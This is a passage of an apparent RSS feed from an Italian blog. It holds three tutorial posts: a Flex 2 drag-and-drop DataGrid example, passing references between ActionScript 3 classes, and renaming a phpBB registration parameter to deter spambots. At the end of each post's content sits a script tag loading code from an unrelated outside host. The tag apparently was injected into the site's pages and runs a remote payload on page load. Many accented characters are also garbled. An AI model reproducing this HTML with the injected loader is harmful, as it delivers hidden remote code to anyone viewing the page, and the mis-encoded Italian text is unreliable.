&lt;/mx:ArrayCollection&gt;<br />
&lt;/mx:dataProvider&gt;<br />
&lt;/mx:TileList&gt;<br />
&lt;/mx:HBox&gt;<br />
&lt;/mx:Application&gt;</code></p>
<p>E&#8217; piuttosto semplice: una HBox contenente un datagrid (<em>drop_dg</em>) e una tilelist (<em>drag_tl</em>), entrambi con il loro dataprovider, e la tilelist ha abilitato il dragEnabled in modo che i suoi elementi possano essere draggati (il datagrid <strong>non </strong>ha dropEnabled=true).</p>
<p>A questo punto se testiamo l&#8217;applicazione il drag degli elementi non porter√† a nulla in quanto non esistono drop designati.</p>
<p>Iniziamo a scriptare questa struttura, sar√† necessario importare le classi<br />
- mx.core.DragSource<br />
- mx.events.ListEvent<br />
- mx.events.DragEvent<br />
- mx.managers.DragManager<br />
per far funzionare il tutto&#8230;e anche mx.controls.Alert ai fini dell&#8217;esempio portato nel tutorial.</p>
<p>Adesso √® necessario definire alcuni metodi</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p42code8'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p428"><td class="code" id="p42code8"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _tempIndex:uint=<span style="color: #cc66cc;">0</span>;<span style="color: #808080; font-style: italic;">//indice della cartella selezionata</span>
&nbsp;
<span style="color: #808080; font-style: italic;">//gestore dragEnter del datagrid</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> onDragEnter<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:DragEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	DragManager.<span style="color: #006600;">acceptDragDrop</span><span style="color: #66cc66;">&#40;</span>drop_dg<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">//gestore dragOver del datagrid -&gt; gestisce il &quot;rollover&quot; sugli elementi sotto il drag proxy</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">onDragOver</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:DragEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	drop_dg.<span style="color: #006600;">selectedIndex</span> = drop_dg.<span style="color: #006600;">calculateDropIndex</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span><span style="color: #66cc66;">&#41;</span>;
	DragManager.<span style="color: #006600;">showFeedback</span><span style="color: #66cc66;">&#40;</span>DragManager.<span style="color: #006600;">MOVE</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">//gestore del dragDrop del datagrid -&gt; clona gli elementi droppati e li copia nel datagrid</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> onDragDrop<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:DragEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> ds:DragSource = <span style="color: #0066CC;">e</span>.<span style="color: #006600;">dragSource</span>;
	<span style="color: #000000; font-weight: bold;">var</span> items:<span style="color: #0066CC;">Array</span> = ds.<span style="color: #006600;">dataForFormat</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'items'</span><span style="color: #66cc66;">&#41;</span> as <span style="color: #0066CC;">Array</span>;
	<span style="color: #000000; font-weight: bold;">var</span> txt:<span style="color: #0066CC;">String</span> =<span style="color: #ff0000;">&quot;&quot;</span>;
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:uint=<span style="color: #cc66cc;">0</span>;i<span style="color: #66cc66;">&lt;</span>items.<span style="color: #0066CC;">length</span>;i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span>i<span style="color: #66cc66;">&gt;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>txt+=<span style="color: #ff0000;">&quot;, &quot;</span>;<span style="color: #66cc66;">&#125;</span>
		txt+=items<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">label</span>;
	<span style="color: #66cc66;">&#125;</span>
	txt+=<span style="color: #ff0000;">&quot; dropped into &quot;</span>+drop_dg.<span style="color: #006600;">selectedItem</span>.<span style="color: #006600;">label</span>;
	Alert.<span style="color: #0066CC;">show</span><span style="color: #66cc66;">&#40;</span>txt,<span style="color: #ff0000;">&quot;Dropped!&quot;</span><span style="color: #66cc66;">&#41;</span>;
	drop_dg.<span style="color: #006600;">selectedIndex</span> = _tempIndex;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">//riposiziona il focus del datagrid al precedente indice</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> onDragComplete<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:DragEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	drop_dg.<span style="color: #006600;">selectedIndex</span> = _tempIndex;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">//memorizza il focus da mantenere nel datagrid</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> onDgItemClick<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:ListEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	_tempIndex = drop_dg.<span style="color: #006600;">selectedIndex</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>dopo aver definito questi metodi per la gestione del drag\drop sar√† necessario aggiungerne i gestori al datagrid direttamente dall&#8217;mxml:</p>
<p><code><br />
dragEnter="onDragEnter(event)"<br />
dragOver="onDragOver(event)"<br />
dragComplete="onDragComplete(event)"<br />
dragDrop="onDragDrop(event)"<br />
itemClick="onDgItemClick(event)"<br />
</code></p>
<p>&#8230;e ora testando l&#8217;applicazione il risultato sar√† il seguente</p>
<p><object type="application/x-shockwave-flash" data="http://www.flashfuck.it/wp-content/uploads/2007/11/dragdropintook.swf" width="400" height="300" class="embedflash"><param name="movie" value="http://www.flashfuck.it/wp-content/uploads/2007/11/dragdropintook.swf" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><small>(Please open the article to see the flash file or player.)</small></object></p>
<p>Trascinando gli elementi sul datagrid non si avr√† pi√π come riferimento il datagrid ma gli elementi del datagrid, grazie al metodo &#8220;<a href="http://livedocs.adobe.com/flex/201/langref/mx/controls/listClasses/ListBase.html#calculateDropIndex()">calculateDropIndex</a>&#8221; della classe ListBase (di cui DataGrid √® un discendente).</p>
<p>Qui potete scaricare i files del tutorial: <a href="http://www.flashfuck.it/wp-content/uploads/2007/11/flashfuckdragndropinto.zip" title="flashfuckdragndropinto.zip">flashfuckdragndropinto.zip</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/11/22/flex-2-dragndrop-howto-datagrid-drop-into/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Design Patterns &#8211; Comunicazione tra classi in actionscript 3</title>
		<link>http://www.flashfuck.it/2007/11/01/design-patterns-comunicazione-tra-classi-in-actionscript-3/</link>
		<comments>http://www.flashfuck.it/2007/11/01/design-patterns-comunicazione-tra-classi-in-actionscript-3/#comments</comments>
		<pubDate>Thu, 01 Nov 2007 09:47:04 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/11/01/design-patterns-comunicazione-tra-classi-in-actionscript-3/</guid>
		<description><![CDATA[Sar√≤ breve e conciso (le ultime parole famose  )
Il problema che andr√≤ ad affrontare √® il seguente:
come faccio a comunicare ad una classe il risultato di una funzione, o pi√π generalmente dei &#8220;dati&#8221; elaborati in maniera asincrona da un&#8217;altra classe istanziata nella mia classe di partenza?
Se i dati fossero elaborati e restituiti in diretta [...]]]></description>
			<content:encoded><![CDATA[<p>Sar√≤ breve e conciso (le ultime parole famose <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )</p>
<p>Il problema che andr√≤ ad affrontare √® il seguente:<br />
<em>come faccio a comunicare ad una classe il risultato di una funzione, o pi√π generalmente dei &#8220;dati&#8221; elaborati in maniera asincrona da un&#8217;altra classe istanziata nella mia classe di partenza?</em></p>
<p>Se i dati fossero elaborati e restituiti <em>in diretta</em> non ci si porrebbe il problema, esempio ne sono le classi di largo consumo come Math e Date (<em>es: var mioint:int = Math.round(9.99999)</em>).</p>
<p>Ma se volessi delegare (termine usato non a caso, visto i trascorsi di as2 <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) a delle classi customizzate la mole di lavoro tipo delle routines di caricamento o qualcosa di simile?</p>
<p>Poniamo il caso di voler caricare una configurazione per la nostra applicazione\sito\game\&#8230; che risiede su un file cfg.xml.<br />
Potremmo fare il tutto all&#8217;interno della document class cos√¨,</p>
<ol>
<li>creiamo una private var _cfgxml:XML</li>
<li>nel costruttore andiamo a caricarci i dati  con var myLoader:URLLoader = new URLLoader(new URLRequest(&#8216;cfg.xml&#8217;));</li>
<li>appioppiamo al loader un gestore di evento Event.COMPLETE a cui associamo il parsing dei dati myLoader.addEventListener(Event.COMPLETE,cfgParse);</li>
<li>creiamo  private function cfgParse(e:Evento) in cui istanziamo _cfgxml = new XML(e.target.data);</li>
</ol>
<p>Ok, √® un&#8217;ipotesi plausibile, ma se questo nostro file richiedesse attenzioni particolari? o se semplicemente volessimo delegare ad altre classi le funzioni di parsing, di comunicazione con componenti, ecc ecc, solo per la soddisfazione di essere pi√π &#8220;puliti&#8221; nel codice&#8230;?</p>
<p>In actionscript 2 avremmo utilizzato Delegate passando come argomento la timeline (o l&#8217;istanza di classe) di riferimento. Ma in actionscript 3 &#8220;Delegate √® stat&#8217; segheit&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Si rende quindi necessario passare la timeline\istanzadiclasse di riferimento come parametro per l&#8217;istanziazione della classe che elaborer√† i dati.</p>
<p>Esempio:</p>
<p>document class</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p39code11'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p3911"><td class="code" id="p39code11"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _cfg:CFGManager;
&nbsp;
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Main<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">//costruttore</span>
_cfg = <span style="color: #000000; font-weight: bold;">new</span> CFGManager<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span><span style="color: #66cc66;">&#41;</span>;
_cfg.<span style="color: #006600;">loadCFG</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #66cc66;">&#125;</span><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> continuaMainClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>classe richiamata dalla document class</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p39code12'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p3912"><td class="code" id="p39code12"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _main:Main; <span style="color: #808080; font-style: italic;">//riferimento alla classe chiamante</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> CFGManager<span style="color: #66cc66;">&#40;</span>m:Main<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #808080; font-style: italic;">//costruttore</span>
_main=m;<span style="color: #808080; font-style: italic;">//qui vado a memorizzare i riferimenti al main</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> loadCFG<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">//qui carico il mio xml di configurazione</span>
<span style="color: #808080; font-style: italic;">//appioppo l'event listener per il caricamento</span>
<span style="color: #808080; font-style: italic;">//e poi passo il tutto a parseCFG</span>
<span style="color: #66cc66;">&#125;</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> parseCFG<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">//qui parso l'xml da e.target.data</span>
<span style="color: #808080; font-style: italic;">//e poi faccio continuare l'esecuzione del main</span>
_main.<span style="color: #006600;">continuaMainClass</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>Perfortuna non √® nulla di cos√¨ complesso <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Per ottimizzare il tutto per√≤ sar√† opportuno non ricevere in ingresso un parametro fortemente tipizzato, ad esempio la classe CFGManager accetta in input solo parametri di tipo &#8220;Main&#8221;&#8230;se si vuole &#8220;astrarre&#8221; il codice, in modo da renderlo riutilizzabile sar√† opportuno che accetti potenzialmente qualsiasi tipo di dato, da DisplayObject all&#8217;estremo &#8220;*&#8221;&#8230;ma poi sono gusti <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>avevo detto che sarei stato breve, quindi alla prossima <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/11/01/design-patterns-comunicazione-tra-classi-in-actionscript-3/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Prevenire Spambot e users fasulli su phpBB</title>
		<link>http://www.flashfuck.it/2007/10/25/prevenire-spambot-e-users-fasulli-su-phpbb/</link>
		<comments>http://www.flashfuck.it/2007/10/25/prevenire-spambot-e-users-fasulli-su-phpbb/#comments</comments>
		<pubDate>Wed, 24 Oct 2007 23:04:34 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/10/25/prevenire-spambot-e-users-fasulli-su-phpbb/</guid>
		<description><![CDATA[phpBB √® una delle piattaforme di forum free pi√π diffuse nella rete.
Ha i vantaggi di essere completamente free e opensource, di essere di facile installazione, di avere svariati temi e mod che permettono facilmente di modificare praticamente tuto&#8230; ma c&#8217;√® anche l&#8217;altro lato della medaglia, un punto nettamente a sfavore di phpBB √® la spam [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.phpbb.com/">phpBB</a> √® una delle piattaforme di forum free pi√π diffuse nella rete.<br />
Ha i vantaggi di essere completamente <strong>free </strong>e <strong>opensource</strong>, di essere di facile installazione, di avere svariati temi e mod che permettono facilmente di modificare praticamente tuto&#8230; ma c&#8217;√® anche l&#8217;altro lato della medaglia, un punto nettamente a sfavore di <a href="http://www.phpbb.it/">phpBB</a> √® la <strong>spam e gli spambot</strong>.</p>
<p>Ma perch√® darla vinta agli spammers cambiando l&#8217;engine del forum (passando a <a href="http://www.vbulletin.com/">vBulletin</a> o a chiss√† quale altro) o perseverando nell&#8217;eliminare gli utenti fasulli uno ad uno?</p>
<p>Ecco qualche accorgimento per diventare uno</p>
<p style="text-align: center"><img src="http://www.flashfuck.it/wp-content/uploads/2007/10/spamfucker.gif" alt="SpamFucker" /></p>
<p>e godersi il proprio forum phpBB gratuito&#8230;</p>
<p><span id="more-37"></span><strong> </strong></p>
<p><strong>Premessa </strong></p>
<p>Applicando questo metodo non si eliminano tutti gli spambot, ma si riducono parecchio.<br />
Per rendere l&#8217;idea, in un forum che fa circa 3000 visite al mese privo di qualsiasi mod antispam al quale si registravano mediamente 2/3 bot al giorno gli utenti fasulli e registrazioni di spambot sono diminuite a meno di 5 al mese.</p>
<p>Esistono una serie di mod e accorgimenti da adottare per <a href="http://www.flashfuck.it/2007/09/29/eliminare-gli-spambot-alla-radice-dal-proprio-sito-con-htaccess/">combattere la spam</a>, questo √® uno di quelli (solo che non me la sento di chiamarlo &#8220;mod&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )</p>
<p>Inoltre, &#8220;si dice&#8221; che la versione 3 risolva questi problemi, ma &#8220;si dice&#8221; anche il contrario, quindi, sotto a moddare!</p>
<p><strong>La Versione di phpBB</strong></p>
<p>Innanzitutto controllate la versione, quello che sto scrivendo l&#8217;ho testato su un phpBB 2.0.x.</p>
<p><strong>Cosa va modificato</strong></p>
<p>Vanno sistemati 3 files</p>
<ul>
<li>admin/admin_users.php</li>
<li>includes/usercp_avatar.php</li>
<li>includes/usercp_register.php</li>
</ul>
<p>La modifica da fare in ciascun file √® molto semplice.<br />
Gli spambot forzano la registrazione passando alcuni argomenti alle pagine relative alla registrazione al forum, quindi sar√† su quei parametri che bisogner√† agire.</p>
<p>Fate un bel find della variabile &#8220;agreed&#8221; all&#8217;interno dei tre files e sostituitela con quella che pi√π vi piace (tipo &#8220;ciccio&#8221; o &#8220;cuccureddu&#8221;, o anche &#8220;assoreta&#8221; non √® male <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> , visto che so gi√† che la fantasia si sprecher√† ricordatevi che sono variabili passate in <a href="http://www.w3.org/MarkUp/html-spec/html-spec_8.html#SEC8.2.2">GET</a>, quindi evitate nomi variabile troppo lunghi <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Rispettivamente le occorrenze della parola agreed nei files originali di phpBB sono 2 per admin_users.php 1 per usercp_avatar.php e 5 per usercp_register.php.</p>
<p>OK,<br />
Adesso che √® stata cambiata la via d&#8217;accesso alla registrazione provate i percorsi di registrazione (sia quello per maggiori che per minori di 13 anni) e verificate che vada tutto liscio.<br />
Noterete che nell&#8217;url della pagina di registrazione sar√† qualcosa del tipo http://www.nomesito.it/forum/profile.php?mode=register&amp;<strong>NOMEVARIABILEMODIFICATA</strong>=true</p>
<p>Un altro accorgimento da tenere in considerazione √® intervenire direttamente sull&#8217;accesso degli spambot al sito stesso andando a <a href="http://www.flashfuck.it/2007/09/29/eliminare-gli-spambot-alla-radice-dal-proprio-sito-con-htaccess/">modificare .htaccess</a> &#8230;ma di quello vi ho gi√† parlato <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/10/25/prevenire-spambot-e-users-fasulli-su-phpbb/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
